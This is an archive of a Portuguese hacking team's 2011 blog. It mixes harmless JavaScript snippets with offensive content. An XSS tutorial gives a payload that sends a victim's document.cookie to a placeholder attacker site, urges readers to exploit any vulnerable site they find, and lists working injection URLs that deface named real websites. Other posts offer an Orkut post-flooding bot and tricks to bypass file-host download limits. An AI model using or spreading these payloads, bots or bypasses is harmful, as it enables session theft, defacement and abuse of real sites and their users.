CHAT MAIOR
Mostrando postagens com marcador JavaScript. Mostrar todas as postagens
Mostrando postagens com marcador JavaScript. Mostrar todas as postagens

28 de out. de 2011

[HTML/JS]: Redirecionamento de site(compatível com blogger).

Introdução
Olá, Criei este "Script" para meu site de downloads,
como não utilizo mais, resolvi postá-lo.

Requisitos:
- Pronto para o Blogger, é só copiar e colar.
- Um logo de carregamento será mostrado na tela

Instalação:

     Página normal:

  1.  Abra o bloco de notas,
  2. Copie e cole oque está no link
  3. Salve com a extenção .html, exemplo: Index.html
  4. Abra e seja feliz.


     Página do Blogger

  1. Vá em "Design",  e depois "Editar HTML";
  2. Clique em "Voltar ao modelo clássico";
  3. Apague tudo que está na caixa e cole o script.
  4. Clique em Salvar modelo,


Créditos
- [iPs]SuYaNw

Download
- Pastebin

1 de out. de 2011

[Tutorial] Vulnerabilidade XSS (leve explicada) (web programação)

http://pt.wikipedia.org/wiki/Cross-site_scripting

Introdução:
Bem olá a todos.
Como prometido, irei fazer um tutorial de como fazer a injeção de códigos javascript (maliciosos ou não) em um site.

Está técnica se chama XSS (cross site scripting) e é encontrado MILHARES de sites com está vulnerabilidade todos os dias.

Está técnica é muito usada em query strings (popularmente dito método $_GET em php), mas também existem em métodos como $_POST, mas a metodologia é sempre a mesma.

Uso:
Basicamente o uso do XSS é injetar scripts javascript em páginas, de modo que elas sejam executadas no navegador do cliente.
Para achar um site vulnerável basicamente pegue uma página qualquer:

"pagina.php?erro=Ola Amigo"

Percebei nosso erro=Ola Amigo?

Caso no código PHP ter:

echo $_GET['erro'];

Ocorrerá de imprimir o que está no erro= (que no exemplo seria Ola Amigo)
Porém se eu colocar código javascript? Ai que está o ponto X da questão.
Ele executará o código javascript, caso eu colocar:

pagina.php?erro=<script>alert('site vulneravel a xss');</script>

O Código em negrito será exibido e mostrará um alerta.

Segurança
A principio não trás coisas ruim, mas já pensou o que se pode fazer executando javascript no computador de outro cliente na página que vocês quiserem?

Você pode pegar o document.cookie do cliente, por exemplo.
DOCUMENT.COOKIE armazena o cookie do documento atual, caso você pegar ele, você simplesmente estará com a senha e login do cara em suas mãos (é assim que funciona aquele negócio de cookies premium)

Então basta fazer uma função em ajax, para enviar o cookie do cara para seu site, exemplo:

pagina.php?erro=<script>enviarRequestAjax('www.suapaginaprapegacookie.com?cookie=' + document.cookie);</script>

Interessante, não acham? ..

Asssim como podemos colocar isto em comentários

Exemplo:
Estou no site do yahoo respostas
e coloco uma pergunta com o seguinte: <script>alert('xss');</script>
Então este código será minha pergunta, caso alguém acessar minha pergunta, verá este código, o que acontecerá de dar alertas, já pensou que loucura seria? Roubar a senha de vários usuários usando apenas document.cookie e uma vulnerabilidade xss.

Claro que Yahoo Resposta é um exemplo, mas lembre-se que MUITOS sites tem vulnerabilidade, eu digo porque já vi sites da globo, orkut, viva o linux, facebook e muitos outros com esta vulnerabilidade, é só uma questão de achar um e sair fazendo tudo que poder

Exemplo:

http://www.gmp.police.uk/live/nhoodv3.nsf/index-divisions.html?ReadForm&Division=</title><img%20src=http://lh4.ggpht.com/_Cl6M776htkA/TAj1lujVLgI/AAAAAAAACG0/JFbdemiuBqs/341%20-%20Imagensidiotas_-_Fuck_foda-se_police_policia.jpg%20/><font%20size%20=%201000>IPS%20TEAM%20CU</strong></br></br></br></br></br></br></br></br></br></br></br></br></br></br></br></br>

http://www.ospaparazzi.com.br/busca/?q=%3Ch1%3EXSS%3C/h1%3E%20%3Cbr%20/%3E%20%3Cbr%20/%3E%20%3Ch1%3EXSS%3C/h1%3E%20%3Cbr%20/%3E%20%3Cbr%20/%3E%20%3Ch1%3EXSS%3C/h1%3E%20%3Cbr%20/%3E%20%3Cbr%20/%3E%20%3Ch1%3EXSS%3C/h1%3E%20%3Cbr%20/%3E%20%3Cbr%20/%3E

http://www.promix.com.br/home/busca.php?termo=%3Ch3%3ERSRSRSRS%3Cbr/%3E%3Cimg%20src=%22https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3zH0izqKEUn3UynM4z3wON4E7KPqgC6E5ad1EoOkjA_y7l0dp98FnDyWVI5d-WkT2bPcpn7qTyQ4wJ4r6qMBo_fHiwcpgi3IZ0-EduxhdCIpaH7lkk8FZ50vRP0SHlJ-R27BMHb2MeN0/s400/mulher+feia+b.JPG%22%20/%3E%3C/h3%3E

É isto ..

Abraços

25 de set. de 2011

[COD] [JAVASCRIPT] [PAWN] Lista de Cores

Introdução:
É um JavaScript que cria tabelas com cores,no total geram 216 Cores,todas funcionais.

Eu Havia publicado na Área Inglesa pois estava com pressa.

Código

<table width="80%">
<script language="javascript">
var r = new Array("00","33","66","99","CC","FF");
var g = new Array("00","33","66","99","CC","FF");
var b = new Array("00","33","66","99","CC","FF");

for (i=0;i<r.length;i++) for (j=0;j<g.length;j++)
{
document.write("<tr>");
for (k=0;k<b.length;k++)
{
var novoc = "#" + r[i] + g[j] + b[k];
var pawn = "0x" + r[i] + g[j] + b[k] + "AA";
document.write("<td bgcolor=\"" + novoc + "\" align=center>");
document.write("<font SIZE=2>" + pawn + "</font>");
document.write("</td>");
}
document.write("</tr>");
}
</script>
</table>

http://ips-team.webcindario.com/utilidades/Cores/


Créditos
Desenvolvido por Bruno da Silva
Agradecimentos a CriarWeb

16 de set. de 2011

[Javascript] [Código] Converter RGB (A) para Hexadecimal

Está função converte RGBa para hexadecimal de forma rápida e fácil, em javascript.

Lá contém exemplo do uso da mesma, espero que gostem:

Função:
function rgbToHex(a,b,c)
{
    return rgbaToHex(a,b,c,0);
}

function rgbaToHex(a,b,c,d)
{
    return ((((a) > 0xFF) || ((b) > 0xFF) || ((c) > 0xFF) || ((d) > 0x64)) ? (0) : ((65536 * (b)) + (16777216* (a)) + (256 * (c)) + (d)).toString(0x10));
}


Por Bruno da Silva
Espero que gostem

12 de ago. de 2011

[JS] Decodificar/Codificar Simples Javascript


Um simples modo de codificação de string apenas adicionando +1 no caractere atual

A string =tdsjqu?bmfsu)(Cpj!Hpsep(*<=0tdsjqu? tem um código de alerta.

Mas o que fiz foi apenas adicionar +1 no caractere atual, de forma que ela fica totalmente distinto da origem, para decodificar depois, foi apenas colocar -1 (note a linha 8)


Criado pro Bruno da Silva

10 de ago. de 2011

[JS] Visitador de Perfils Orkut

Olá galera, hoje novamente venho trazer mais um script interessante, se trata de um visitador de perfil orkut (você visita os outros, eles te visitam, você ganha mais visitas!)

Para usar é bem fácil, basta colocar no orkut antigo e acessar este url do orkut:


Seguinte, colar o código abaixo na barra de endereços:


Criado por Bruno da Silva
Abraços

7 de ago. de 2011

[COD] [JS] Zenit Polar

O que é?
É um método eficiciente e rápido para aplicar ou retirar Zenit Polar de um texto.

Código:

Criado por Bruno da Silva

3 de ago. de 2011

[JS] Listador de Tópicos Orkut


Um listador de tópicos do orkut criado por um membro em uma comunidade.
Basta colar o código na barra de endereços (estando em um fórum de uma comunidade) e aguardar gerar os tópicos.


Criado por Bruno da Silva

22 de jul. de 2011

[COD] Pegar Extensão em JS

Introdução
Há alguns dias atrás criei uma função que pegava o nome do arquivo em um inputfile
Pois bem, hoje vou colocar uma função similar, só que pega a extensão dele

Link
O link e exemplo para pegar o código esta disponível aqui:

function getExtesionFile(str)
{
return str.substr(str.lastIndexOf('.'), str.lenght);
}

Creditos
Bruno da Silva

20 de jul. de 2011

[COD] Função para Selecionar Código

Introdução:
Vi que algumas pessoas ficaram curiosas de como funcionava a função de selecionar o código da tag blockquote com um único clique.
Bom, para ser sincero foi usada uma função antiga que tem em muitos fóruns dos tais forumeiros.

Apenas adaptei a função para blogspot de forma que ela pegue os elementos da página por numeração e não por elemento pai.

Código:

Uso:
Coloque em um Widget qualquer, ou até mesmo embutir no template

Créditos:
Fórum dos Fóruns
Bruno da Silva (eu)

15 de jul. de 2011

[COD] Remover Notificações Google Plus

O que faz?
Está função remove aquelas chatas notificações que raramente mostram algo importante no seu Google+


Link?
http://pastebin.com/7cRHkXLA


Uso:
Basta ir no seu Google Plus e colar o código acima na barra de endereços


Créditos:
Bruno da Silva 

13 de jul. de 2011

[COD] Remover Gifs

O que faz?
Está função remove todos gifs de uma página de forma rápida e fácil.


Link?
http://pastebin.com/SH2gSXt1


Criador?
Bruno da Silva

28 de mai. de 2011

[JS] Burlar Servidores de Hospedagem (completo)

@Megaupload

Bem eu estou a algum tempo já baixando alguns filmes então olhando um pouco do source code do megaupload descobri uma coisa legal (não sei se muitos ou poucos sabem,mas é uma dica para não precisar esperar os 45 segundos)

Simples faça:
1: Pega um link de um download
2: Após acessar o Link e iniciar a contagem coloque o seguinte código na barra de endereços:

http://pastebin.com/raw.php?i=xKsjd9sn

Simples não? -trollface

# Perdi mais tempo postando do que descobrindo está coisa 'inovadora' -n

Aqui funcionou..

@Cadastre seu Celular

É meio chato passar por alguns destes (normalmente tem a url ao contrário na barra de endereços)

Apenas cole este código na barra do navegador e pressione enter:

http://pastebin.com/KCA9Z9AY
@SolidFiles
Esta é a dica mais old do mundo,mas é uma dica.
Para baixar direto do SolidFiles basta pegar um link qualquer e adicionar /download/ no final do link

www.solidfiles/d/0x185d/download/

@EasyShare

Abra seu navegador e entre com o link:

http://w14.easy-share.com/5674321.html (EXEMPLO)

Aparecerá: 'Regular Download' < e um tempo para desbloquear.
Assim, Vá no endereço e apage-o todo e digite:
javascript: wf=5;
(5 segundos)
e faça o download ! =D

Caso aparecer: "Espere alguns segundos para relizar download novamente"
Digite:
javascript: w=10;
(10 Segundos)

Bom uso

@4Shared
Outra dica interessante é quando o 4Shared bloqueia uma música ou vídeo para baixar, simplesmente cole o seguinte código na barra de endereços:

javascript:location.href=flvLink;
ou
javascript:location.href=mp4Link;
ou
javascript:location.href=oggLink;


Tente um dos três (o primeiro funciona normalmente)
Ele irá redirecionar para a música, dependendo do navegador irá iniciar o download automático ou simplesmente irá tocar a música, no caso de tocar a música clique em salvar página e salve a página normalmente, irá salvar a música junto ..

São técnicas em programação javascript
Créditos [iPs]DraKiNs & [iPs]Garfield / SuYaNw

Abraços

25 de mai. de 2011

[JS]Utilizando javascript diretamente em urls de sites.

Bom, como já diz o título o intuito é o seguinte:

escolha um site.
pode ser o www.forum.sa-mp.com ou até www.orkut.com.br

vamos ultilizar o forum.sa-mp.com.

apague todo o endereço, depois digite:

javascript:


Depois digite o código que será executado.
Exemplo:

javacript:alert("[iPs]TeaM");

Magicalmente este código será executado no próprio navegador.
aparecerá um alert escrito iPs TeaM
Assim:
Exemplo

Ao clicar no link acima mandará a mensagem de exemplo.

[PROJETO] Auto Tabulador/Indentador de código

Parecido com a ferramenta de Draco Blue este sistema feito por mim em PHP faz uma simples indentação no seu código (aceitando códigos grandes).´
É bem simples de usar, acesse o site:

Cole seu código e clique em tabular, aguarde o processo ser terminado ...
Bom para quem está cansado dos loose indentations ..

É um projeto Beta, é possível que tenha alguns bugs, no entanto funcional de forma geral.

Espero que gostem galera.
Abraços

~DraKiNs

24 de mai. de 2011

[JS] Chamando função javascript direto no no html

Simples, usando javascript em links

Olhe:


<a href='javascript:" > Link </a>



Onde está escrito "javascript:" é que indica qual linguagem vamos utilizar.
Exemplo:

<a href='javascript:alert("[iPs] TeaM!");'>Link</a>

Quando alguém clicar no Link acima, irá mandar alerta em javascript "[iPs] TeaM!"
Fácil, não? O mesmo pode utilizar sem fazer o link, apenas colocando
javascript:alert("[iPs] TeaM!");
No seu navegador ..
Também podemos usar OnClick, OnLoad e outros eventos de tags html .-.

~ [iPs]Garfield

22 de mai. de 2011

[COD] Colocar Redirecionador de Links Automatico

Algumas pessoas me perguntaram como fazer para mudar TODOS links do blog para outro link, bem é fácil:

Em javascript:

var allLinks = document.getElementsByTagName("a");
for (i in allLinks)
{
allLinks.item(i).href = 'Link que quero;
}

15 de mai. de 2011

[COD] AutoLoop em Vídeos Youtube (sem parar)

Olá a Todos..

Eu estava a algum tempo sem postar coisas (ouvindo uma música muito boa de keygen) então para não ficar toda hora clicando em play eu queria deixar o Youtube auto-executar, porém ele não fazia meu serviço usando as dicas que vi na internet.
Então resolvi criar este código bem simples..



Basta colar na barra de endereço estando na URL do Vídeo.

Abraços

--------------
DraKiNs

13 de mai. de 2011

[JS/HACK] Floodador de Posts Orkut

Introdução:
Olá a todos hoje venho postar um grande projeto que fiz em algumas horas.
Trata de um postador automático para posts orkut ...

Funções:
• Reconhecimento de Bloqueio (quando orkut manda esperar alguns minutos para postar)
• Reconhecimento de Captcha (avisa usuário em caso de tiver com captcha e dá 8 segundos para digitar)
• Post automáticos, seu único trabalho é digitar o captcha, que normalmente apenas aparecer-a 1x
• Não bloqueia seu orkut, pois ele aguarda o tempo correto para postar!

Obs:
Use orkut antigo para funcionar corretamente (testado em google chrome) (basta colar código na barra de endereço) (você deve estar localizado no tópico que queres floodar)

Download:

Créditos:
Criador do Sistema: DraKiNs
Função ClassName: Robert Nyan

8 de mai. de 2011

[CSS/HTML/JS] Sistema de login~

Introdução:
Este sistema é uma LOGIN LightBox com Activex para conexão ao PHP (sem atualizar a página)
Com validação em PHP FILES INI com senhas codificadas em UdbHash..


Login: DraKiNs
Senha: teste

Download
MediaFire

Créditos
[iPs]DraKiNs
[iPs]Garfield
[iPs]TeaM